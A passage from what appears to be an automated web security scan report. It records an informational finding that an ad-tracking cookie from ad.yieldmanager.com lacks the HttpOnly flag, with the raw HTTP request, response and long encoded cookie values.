J!!!!)<lQj5!#N$7!!!!#<lja'!#NjS!!!!#<lI#*!#O>M!!DPb<lQiA!#OAV!!DPb<lQiA!#OAW!!DPb<lQiA!#OC2!!!!#<l/M+!#P<=!!!!#<kQRW!#PqQ!!!!#<lI#)!#PrV!!!!#<kQRW!#Q+o!!!!(<lja'!#Qh8!!!!#<l.yn!#RY.!!!!#<lja'!#Ri/!!!!(<lja'!#Rij!!!!(<lja'!#SCj!!!!$<kcU!!#SCk!!!!%<lja(!#SUp!!!!'<lQj,!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#T#d!!!!#<k2yx!#T,d!!!!#<lR(Q!#TlE!!!!#<lP](!#TnE!!!!%<lQj5!#Tnp!!!!#<lP]#!#U5p!!!!#<gj@R!#UAO!!!!#<k2yx!#UDQ!!!!)<lQj5!#UL(!!!!%<lQW%!#W^8!!!!#<jem(!#Wb2!!DPb<lQiA!#X)y!!!!#<jem(!#X]+!!!!'<kdT!!#X]l!!!!#<lja'!#ZhT!!!!)<lQj,!#Zmf!!!!$<kT`F!#[25!!!!%<lhqW!#[L>!!!!%<lise!#]!g!!!!#<gj@R!#]%`!!!!#<lRYE!#]Ky!!!!#<gj@R!#]W%!!!!#<lja'!#^0$!!!!'<lQj,!#^0%!!!!'<lQj,!#^Bo!!!!#<lja'!#^d6!!!!#<lRYE!#_0t!!!!%<kTb(!#`SX!!!!#<gj@R!#aCq!!!!'<lisd!#aG>!!!!(<lja'!#aM'!!!!#<kp_p!#av4!!!!#<iLQl!#b.n~~!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<e!!!!#<l.yn!#b<g!!!!#<kI4S!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b=K~~!#b?A!!!!#<l.x@!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#e@W!!!!#<k_2)!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#elE!!!!#<k3!!!#f93!!!!#<gj@R!#fBj!!!!(<lQj,!#fBk!!!!(<lQj,!#fBm!!!!(<lQj,!#fBn!!!!(<lQj,!#fBu!!!!#<gj@R!#fE=!!!!'<lQj,!#fG+!!!!(<lQj,!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#fdu!!!!#<k2yx!#fpW!!!!#<l/JY!#fpX!!!!#<l/JY!#fpY!!!!#<l/JY!#g'E!!!!#<gj@R!#g/7!!!!'<lQj,!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#g[h!!!!#<lja'!#g]7!!!!#<l.yn!#g]9!!!!#<kjl4!#h.N!!!!#<kL2n!#jS>!!!!#<k_Jy!#mP5!!!!$<lise!#mP6!!!!$<lise!#naX!!!!#<lja'!#ndJ!!!!$<lP]'!#ndP!!!!$<lP]'!#nda!!!!$<lP]'!#ne$!!!!$<lP]'!#p#b!!!!#<lja'!#p9d!!!!#<lj09!#pD8!!!!#<l`GD!#p]T!!!!$<kL2n!#sx#!!!!#<lQj5"

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 21:48:02 GMT
Server: YTS/1.18.4
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: BX=/; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT
Set-Cookie: bh="b!!!$Z!!$ha!!DPb<lQiA!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!*10!!!!$<lQj,!!,D(!!!!%<lQj,!!-?2!!!!)<lQj,!!-G2!!!!$<lise!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0!j!!!!(<lQj,!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1CD!!!!$<lP]!!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!2(x!!!!'<lQj,!!4<u!!!!(<lQj,!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!<@x!!!!%<lSWC!!?VS!!DPb<lQiA!!J>N!!!!#<k2yx!!KNF!!ErC<k0fB!!L(*!!!!#<h67=!!L(^!!!!#<lja'!!L_w!!!!(<lja'!!MZU!!!!#<lQiC!!Mr(!!ErC<k0fB!!ObA!!!!#<lQj,!!ObV!!!!#<lQj,!!OgU!!!!'<lQj,!!Z-E!!!!#<lQj,!!Z-G!!!!#<lQj,!!Z-L!!!!#<lQj,!!Zw`!!!!$<lQj,!!Zwb!!!!%<lQj,!!`Yp!!!!#<htUb!!fP+!!!!#<k`g7!!hqJ!!!!#<lP]!!!i0,!!!!#<lQj,!!iEC!!!!%<lQj,!!iEb!!!!(<lQj,!!i_9!!!!#<lQj,!!jD6!!!!#<lja'!!mDJ!!!!#<lQq8!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!qu+!!!!#<lP]!!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!u[u!!!!(<lVbU!!utd!!!!(<lVbU!!utl!!!!#<lSD*!!uto!!!!#<lVbU!!uu)!!!!%<lSVZ!!v:e!!!!'<lQj,!!y]X!!!!#<k11E!!ys+!!!!$<h2ED!###G!!!!#<lP[k!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#')-!!!!#<k2yx!#*VS!!!!#<jLPe!#+]S!!!!'<lQj,!#,##!!!!'<lSWC!#-B#!!!!#<l.yn!#-vv!!!!$<iC/K!#.dO!!!!(<lja'!#/:a!!!!#<lP]'!#/G2!!!!#<lQj,!#/G<!!!!#<lQj,!#/GO!!!!#<lQj,!#/yX!!!!#<k2yx!#0$b!!!!%<hu%0!#15#!!ErC<k0fB!#15$!!ErC<k0fB!#17@!!DPb<lQiA!#1=E!!!!#<kI4S!#2+>!!!!'<lS0M!#2`q!!!!#<jc#g!#2mR!!!!$<lEIO!#3>M!!!!#<lmWm!#3pS!!!!$<lR(Q!#3pv!!!!$<lP]%!#5(X!!!!#<jLPe!#5(Y!!!!#<l.yn!#5(`!!!!#<jLPe!#5(b!!!!#<kI3?!#5(f!!!!#<kI4S!#5m!!!!!#<k2yx!#5mH!!!!#<k2yx!#7(x!!!!)<lQj,!#8.'!!!!#<lP]%!#8:i!!!!#<jc#c!#8?7!!!!#<lP]!!#8A2!!!!#<k11E!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#CC>!!!!#<lS@,!#F1H!!!!'<lS0M!#I=D!!!!#<kjhR!#Ic1!!!!#<lP]#!#K?%!!!!#<l8V)!#Kbb!!!!#<jLP/!#LI/!!!!#<k2yw!#LI0!!!!#<k2yw!#MP0!!!!#<jLPe!#MTC!!!!)<lQj5!#MTF!!!!)<lQj5!#MTH!!!!)<lQj5!#MTI!!!!)<lQj5!#MTJ!!!!)<lQj5!#N$7!!!!#<lja'!#NjS!!!!#<lI#*!#O>M!!DPb<lQiA!#OAV!!DPb<lQiA!#OAW!!DPb<lQiA!#OC2!!!!#<l/M+!#P<=!!!!#<kQRW!#PqQ!!!!#<lI#)!#PrV!!!!#<kQRW!#Q+o!!!!(<lja'!#Qh8!!!!#<l.yn!#RY.!!!!#<lja'!#Ri/!!!!(<lja'!#Rij!!!!(<lja'!#SCj!!!!$<kcU!!#SCk!!!!%<lja(!#SUp!!!!'<lQj,!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#T#d!!!!#<k2yx!#T,d!!!!#<lR(Q!#TlE!!!!#<lP](!#TnE!!!!%<lQj5!#Tnp!!!!#<lP]#!#U5p!!!!#<gj@R!#UAO!!!!#<k2yx!#UDQ!!!!)<lQj5!#UL(!!!!%<lQW%!#W^8!!!!#<jem(!#Wb2!!DPb<lQiA!#X)y!!!!#<jem(!#X]+!!!!'<kdT!!#X]l!!!!#<lja'!#ZhT!!!!)<lQj,!#Zmf!!!!$<kT`F!#[25!!!!%<lhqW!#[L>!!!!%<lise!#]!g!!!!#<gj@R!#]%`!!!!#<lRYE!#]Ky!!!!#<gj@R!#]W%!!!!#<lja'!#^0$!!!!'<lQj,!#^0%!!!!'<lQj,!#^Bo!!!!#<lja'!#^d6!!!!#<lRYE!#_0t!!!!%<kTb(!#`SX!!!!#<gj@R!#aCq!!!!'<lisd!#aG>!!!!(<lja'!#aM'!!!!#<kp_p!#av4!!!!#<iLQl!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<e!!!!#<l.yn!#b<g!!!!#<kI4S!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b?A!!!!#<l.x@!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#e@W!!!!#<k_2)!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#elE!!!!#<k3!!!#f93!!!!#<gj@R!#fBj!!!!(<lQj,!#fBk!!!!(<lQj,!#fBm!!!!(<lQj,!#fBn!!!!(<lQj,!#fBu!!!!#<gj@R!#fE=!!!!'<lQj,!#fG+!!!!(<lQj,!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#fdu!!!!#<k2yx!#fpW!!!!#<l/JY!#fpX!!!!#<l/JY!#fpY!!!!#<l/JY!#g'E!!!!#<gj@R!#g/7!!!!'<lQj,!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#g[h!!!!#<lja'!#g]7!!!!#<l.yn!#g]9!!!!#<kjl4!#h.N!!!!#<kL2n!#jS>!!!!#<k_Jy!#mP5!!!!$<lise!#mP6!!!!$<lise!#naX!!!!#<lja'!#ndJ!!!!$<lP]'!#ndP!!!!$<lP]'!#nda!!!!$<lP]'!#ne$!!!!$<lP]'!#p#b!!!!#<lja'!#p9d!!!!#<lj09!#pD8!!!!#<l`GD!#p]T!!!!$<kL2n!#sx#!!!!#<lQj5"; path=/; expires=Mon, 04-Feb-2013 21:48:02 GMT
Location: http://www.googleadservices.com/pagead/conversion/1034849195/?label=I7YZCJue4wEQq5e67QM&guid=ON&script=0
Cache-Control: no-store
Last-Modified: Sat, 05 Feb 2011 21:48:02 GMT
Pragma: no-cache
Content-Length: 0
Age: 0
Proxy-Connection: close

15.211. http://ad.yieldmanager.com/unpixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.yieldmanager.com
Path:	/unpixel

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

bh="b!!!$[!!$ha!!DPb<lQiA!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!*10!!!!$<lQj,!!,D(!!!!%<lQj,!!-?2!!!!)<lQj,!!-G2!!!!$<lise!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0!j!!!!(<lQj,!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1CD!!!!$<lP]!!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!2(x!!!!'<lQj,!!4<u!!!!(<lQj,!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!<@x!!!!%<lSWC!!?VS!!DPb<lQiA!!J>N!!!!#<k2yx!!KNF!!ErC<k0fB!!L(*!!!!#<h67=!!L(^!!!!#<lja'!!L_w!!!!(<lja'!!MZU!!!!#<lQiC!!Mr(!!ErC<k0fB!!ObA!!!!#<lQj,!!ObV!!!!#<lQj,!!OgU!!!!'<lQj,!!Z-E!!!!#<lQj,!!Z-G!!!!#<lQj,!!Z-L!!!!#<lQj,!!Zw`!!!!$<lQj,!!Zwb!!!!%<lQj,!!`Yp!!!!#<htUb!!fP+!!!!#<k`g7!!hqJ!!!!#<lP]!!!i0,!!!!#<lQj,!!iEC!!!!%<lQj,!!iEb!!!!(<lQj,!!i_9!!!!#<lQj,!!jD6!!!!#<lja'!!mDJ!!!!#<lQq8!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!qu+!!!!#<lP]!!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!u[u!!!!(<lVbU!!utd!!!!(<lVbU!!utl!!!!#<lSD*!!uto!!!!#<lVbU!!uu)!!!!%<lSVZ!!v:e!!!!'<lQj,!!y]X!!!!#<k11E!!ys+!!!!$<h2ED!###G!!!!#<lP[k!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#')-!!!!#<k2yx!#*VS!!!!#<jLPe!#+]S!!!!'<lQj,!#,##!!!!'<lSWC!#-B#!!!!#<l.yn!#-vv!!!!$<iC/K!#.dO!!!!(<lja'!#/:a!!!!#<lP]'!#/G2!!!!#<lQj,!#/G<!!!!#<lQj,!#/GO!!!!#<lQj,!#/yX!!!!#<k2yx!#0$b!!!!%<hu%0!#15#!!ErC<k0fB!#15$!!ErC<k0fB!#17@!!DPb<lQiA!#1=E!!!!#<kI4S!#2+>!!!!'<lS0M!#2`q!!!!#<jc#g!#2mR!!!!$<lEIO!#3pS!!!!$<lR(Q!#3pv!!!!$<lP]%!#5(X!!!!#<jLPe!#5(Y!!!!#<l.yn!#5(`!!!!#<jLPe!#5(b!!!!#<kI3?!#5(f!!!!#<kI4S!#5m!!!!!#<k2yx!#5mH!!!!#<k2yx!#7(x!!!!)<lQj,!#8.'!!!!#<lP]%!#8:i!!!!#<jc#c!#8?7!!!!#<lP]!!#8A2!!!!#<k11E!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#CC>!!!!#<lS@,!#F1H!!!!'<lS0M!#I=D!!!!#<kjhR!#Ic1!!!!#<lP]#!#K?%!!!!#<l8V)!#Kbb!!!!#<jLP/!#LI/!!!!#<k2yw!#LI0!!!!#<k2yw!#MP0!!!!#<jLPe!#MTC!!!!)<lQj5!#MTF!!!!)<lQj5!#MTH!!!!)<lQj5!#MTI!!!!)<lQj5!#MTJ!!!!)<lQj5!#N$7!!!!#<lja'!#NjS!!!!#<lI#*!#O>M!!DPb<lQiA!#OAV!!DPb<lQiA!#OAW!!DPb<lQiA!#OC2!!!!#<l/M+!#P<=!!!!#<kQRW!#PqQ!!!!#<lI#)!#PrV!!!!#<kQRW!#Q+o!!!!(<lja'!#Qh8!!!!#<l.yn!#RY.!!!!#<lja'!#Ri/!!!!(<lja'!#Rij!!!!(<lja'!#SCj!!!!$<kcU!!#SCk!!!!%<lja(!#SUp!!!!'<lQj,!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#T#d!!!!#<k2yx!#T,d!!!!#<lR(Q!#TlE!!!!#<lP](!#TnE!!!!%<lQj5!#Tnp!!!!#<lP]#!#U5p!!!!#<gj@R!#UAO!!!!#<k2yx!#UDQ!!!!)<lQj5!#UL(!!!!%<lQW%!#W^8!!!!#<jem(!#Wb2!!DPb<lQiA!#X)y!!!!#<jem(!#X]+!!!!'<kdT!!#X]l!!!!#<lja'!#ZhT!!!!)<lQj,!#Zmf!!!!$<kT`F!#[25!!!!%<lhqW!#[L>!!!!%<lise!#]!g!!!!#<gj@R!#]%`!!!!#<lRYE!#]Ky!!!!#<gj@R!#]W%!!!!#<lja'!#^0$!!!!'<lQj,!#^0%!!!!'<lQj,!#^Bo!!!!#<lja'!#^d6!!!!#<lRYE!#_0t!!!!%<kTb(!#`SX!!!!#<gj@R!#aCq!!!!'<lisd!#aG>!!!!(<lja'!#aM'!!!!#<kp_p!#av4!!!!#<iLQl!#b.n~~!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<e!!!!#<l.yn!#b<g!!!!#<kI4S!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b=K~~!#b?A!!!!#<l.x@!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#e@W!!!!#<k_2)!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#elE!!!!#<k3!!!#f93!!!!#<gj@R!#fBj!!!!(<lQj,!#fBk!!!!(<lQj,!#fBm!!!!(<lQj,!#fBn!!!!(<lQj,!#fBu!!!!#<gj@R!#fE=!!!!'<lQj,!#fG+!!!!(<lQj,!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#fdu!!!!#<k2yx!#fpW!!!!#<l/JY!#fpX!!!!#<l/JY!#fpY!!!!#<l/JY!#g'E!!!!#<gj@R!#g/7!!!!'<lQj,!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#g[h!!!!#<lja'!#g]7!!!!#<l.yn!#g]9!!!!#<kjl4!#h.N!!!!#<kL2n!#jS>!!!!#<k_Jy!#mP5!!!!$<lise!#mP6!!!!$<lise!#naX!!!!#<lja'!#ndJ!!!!$<lP]'!#ndP!!!!$<lP]'!#nda!!!!$<lP]'!#ne$!!!!$<lP]'!#p#b!!!!#<lja'!#p9d!!!!#<lj09!#pD8!!!!#<l`GD!#p]T!!!!$<kL2n!#sx#!!!!#<lQj5"; path=/; expires=Mon, 04-Feb-2013 21:47:57 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /unpixel?id=1055858&id=1057014&t=2 HTTP/1.1
Host: ad.yieldmanager.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: pc1="b!!!!#!#49P!!!*Z!##wb!+:d(!$9rJ!!H<)!?5%!)I-X?![:Z-!#[Q#!%(/.~~~~~~<ht]%~M.jTN"; BX=90d0t1d6iq2v7&b=3&s=9e; uid=uid=b167d032-2d75-11e0-89fa-003048d6d890&_hmacv=1&_salt=2074615246&_keyid=k1&_hmac=249585fedc0ca1193988128dced0dced5912c7fb; pv1="b!!!!?!#1xy!!E)$!$XwM!+kS,!$els!!mT-!?5%!'2gi6!w1K*!%4=%!$$#u!%_/^~~~~~<jbO@~~!#X@7!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@9!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@<!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@>!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#dT5!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT7!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT9!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT<!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#`,W!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,Z!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,]!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,_!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#3yC!!!%G!#4*B!/cr5!%:4s!!!%%!?5%!'k4o6!wVd.!$,gR!$a0[!'>es~~~~~<kI5G<o[wQ~!!x>#!!!/`!$C*N!.E9F!%7Dl!!!!$!?5%!%5XA1!w1K*!%oT=!!MLR!':'O~~~~~<lEIO<t:,n!!.vL!!uiR!!!+J!$>dt!.5=<!$rtW!!!!$!?5%!%R%P3!ZZ<)!%[hn!%nsh~~~~~~<lQj6~~!!0iu!!!/`!$=vN!03UD!$b[P!!!!$!?5%!%R%P3!ZmB)!%Z6*!%Z6<~~~~~~<lR)/~~!#Ic<!+*gd!$e)@!/cMg!%:[h!!!!$!?5%!%nBY4!wVd.!'Cuk!#^3*!'?JV~~~~~<lRY,~~!#N(B!!!+o!$%i1!,Y*D!$dhw!!!!$!?5%!%nBY4!ZZ<)!%X++!%]s!~~~~~~<lRY.<pfD8~!#mP:!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<lx@?!!!#G!#mP>!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<lx@?!!!#G!#mPA!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<lx@?!!!#G!#mPD!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<lx@?!!!#G!#mPG!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<lx@?!!!#G!#mPJ!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<lx@?!!!#G!#p!r!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<l`]S!!.vL!#p!u!!!/`!$V.-!00Gv!%Bbn!!!!$!?5%!'O+r7!w1K*!'%l)!!j:k!'H85~~~~~<l`GD<l`]S!!.vL"; ih="b!!!!D!(4vA!!!!#<kc#t!(mhO!!!!$<lEKI!*09R!!!!#<l/M+!*gS^!!!!#<kI:#!+/Wc!!!!#<jbN?!+:d(!!!!#<htX7!+:d=!!!!$<hu%0!+kS,!!!!#<jbO@!,Y*D!!!!#<lRY.!->h]!!!!$<lRYo!-g#y!!!!#<k:[]!.5=<!!!!#<lQj6!.E9F!!!!$<lEIO!.N)i!!!!#<htgq!.T97!!!!#<k:^)!.`.U!!!!'<kc#o!.tPr!!!!#<k`nL!/9uI!!!!#<k:]D!/H]-!!!!'<hu!d!/JXx!!!!$<lEWe!/J`3!!!!#<jbND!/cMg!!!!#<lRY,!/cr5!!!!#<kI5G!/o:O!!!!#<htU#!/oCq!!!!%<l`JX!/poZ!!!!#<iLQk!/uG1!!!!#<jbOF!00Gv!!!!#<l`GD!03UD!!!!#<lR)/!08r)!!!!$<lEWx!0>0V!!!!#<l/M.!0>0W!!!!#<lEK0"; bh="b!!!$[!!$ha!!DPb<lQiA!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!*10!!!!$<lQj,!!,D(!!!!%<lQj,!!-?2!!!!)<lQj,!!-G2!!!!$<lise!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0!j!!!!(<lQj,!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1CD!!!!$<lP]!!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!2(x!!!!'<lQj,!!4<u!!!!(<lQj,!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!<@x!!!!%<lSWC!!?VS!!DPb<lQiA!!J>N!!!!#<k2yx!!KNF!!ErC<k0fB!!L(*!!!!#<h67=!!L(^!!!!#<lja'!!L_w!!!!(<lja'!!MZU!!!!#<lQiC!!Mr(!!ErC<k0fB!!ObA!!!!#<lQj,!!ObV!!!!#<lQj,!!OgU!!!!'<lQj,!!Z-E!!!!#<lQj,!!Z-G!!!!#<lQj,!!Z-L!!!!#<lQj,!!Zw`!!!!$<lQj,!!Zwb!!!!%<lQj,!!`Yp!!!!#<htUb!!fP+!!!!#<k`g7!!hqJ!!!!#<lP]!!!i0,!!!!#<lQj,!!iEC!!!!%<lQj,!!iEb!!!!(<lQj,!!i_9!!!!#<lQj,!!jD6!!!!#<lja'!!mDJ!!!!#<lQq8!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!qu+!!!!#<lP]!!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!u[u!!!!(<lVbU!!utd!!!!(<lVbU!!utl!!!!#<lSD*!!uto!!!!#<lVbU!!uu)!!!!%<lSVZ!!v:e!!!!'<lQj,!!y]X!!!!#<k11E!!ys+!!!!$<h2ED!###G!!!!#<lP[k!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#')-!!!!#<k2yx!#*VS!!!!#<jLPe!#+]S!!!!'<lQj,!#,##!!!!'<lSWC!#-B#!!!!#<l.yn!#-vv!!!!$<iC/K!#.dO!!!!(<lja'!#/:a!!!!#<lP]'!#/G2!!!!#<lQj,!#/G<!!!!#<lQj,!#/GO!!!!#<lQj,!#/yX!!!!#<k2yx!#0$b!!!!%<hu%0!#15#!!ErC<k0fB!#15$!!ErC<k0fB!#17@!!DPb<lQiA!#1=E!!!!#<kI4S!#2+>!!!!'<lS0M!#2`q!!!!#<jc#g!#2mR!!!!$<lEIO!#3pS!!!!$<lR(Q!#3pv!!!!$<lP]%!#5(X!!!!#<jLPe!#5(Y!!!!#<l.yn!#5(`!!!!#<jLPe!#5(b!!!!#<kI3?!#5(f!!!!#<kI4S!#5m!!!!!#<k2yx!#5mH!!!!#<k2yx!#7(x!!!!)<lQj,!#8.'!!!!#<lP]%!#8:i!!!!#<jc#c!#8?7!!!!#<lP]!!#8A2!!!!#<k11E!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#CC>!!!!#<lS@,!#F1H!!!!'<lS0M!#I=D!!!!#<kjhR!#Ic1!!!!#<lP]#!#K?%!!!!#<l8V)!#Kbb!!!!#<jLP/!#LI/!!!!#<k2yw!#LI0!!!!#<k2yw!#MP0!!!!#<jLPe!#MTC!!!!)<lQj5!#MTF!!!!)<lQj5!#MTH!!!!)<lQj5!#MTI!!!!)<lQj5!#MTJ!!!!)<lQj5!#N$7!!!!#<lja'!#NjS!!!!#<lI#*!#O>M!!DPb<lQiA!#OAV!!DPb<lQiA!#OAW!!DPb<lQiA!#OC2!!!!#<l/M+!#P<=!!!!#<kQRW!#PqQ!!!!#<lI#)!#PrV!!!!#<kQRW!#Q+o!!!!(<lja'!#Qh8!!!!#<l.yn!#RY.!!!!#<lja'!#Ri/!!!!(<lja'!#Rij!!!!(<lja'!#SCj!!!!$<kcU!!#SCk!!!!%<lja(!#SUp!!!!'<lQj,!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#T#d!!!!#<k2yx!#T,d!!!!#<lR(Q!#TlE!!!!#<lP](!#TnE!!!!%<lQj5!#Tnp!!!!#<lP]#!#U5p!!!!#<gj@R!#UAO!!!!#<k2yx!#UDQ!!!!)<lQj5!#UL(!!!!%<lQW%!#W^8!!!!#<jem(!#Wb2!!DPb<lQiA!#X)y!!!!#<jem(!#X]+!!!!'<kdT!!#X]l!!!!#<lja'!#ZhT!!!!)<lQj,!#Zmf!!!!$<kT`F!#[25!!!!%<lhqW!#[L>!!!!%<lise!#]!g!!!!#<gj@R!#]%`!!!!#<lRYE!#]Ky!!!!#<gj@R!#]W%!!!!#<lja'!#^0$!!!!'<lQj,!#^0%!!!!'<lQj,!#^Bo!!!!#<lja'!#^d6!!!!#<lRYE!#_0t!!!!%<kTb(!#`SX!!!!#<gj@R!#aCq!!!!'<lisd!#aG>!!!!(<lja'!#aM'!!!!#<kp_p!#av4!!!!#<iLQl!#b.n!!!!#<lR(Q!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<e!!!!#<l.yn!#b<g!!!!#<kI4S!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b=K!!!!#<l.yn!#b?A!!!!#<l.x@!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#e@W!!!!#<k_2)!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#elE!!!!#<k3!!!#f93!!!!#<gj@R!#fBj!!!!(<lQj,!#fBk!!!!(<lQj,!#fBm!!!!(<lQj,!#fBn!!!!(<lQj,!#fBu!!!!#<gj@R!#fE=!!!!'<lQj,!#fG+!!!!(<lQj,!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#fdu!!!!#<k2yx!#fpW!!!!#<l/JY!#fpX!!!!#<l/JY!#fpY!!!!#<l/JY!#g'E!!!!#<gj@R!#g/7!!!!'<lQj,!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#g[h!!!!#<lja'!#g]7!!!!#<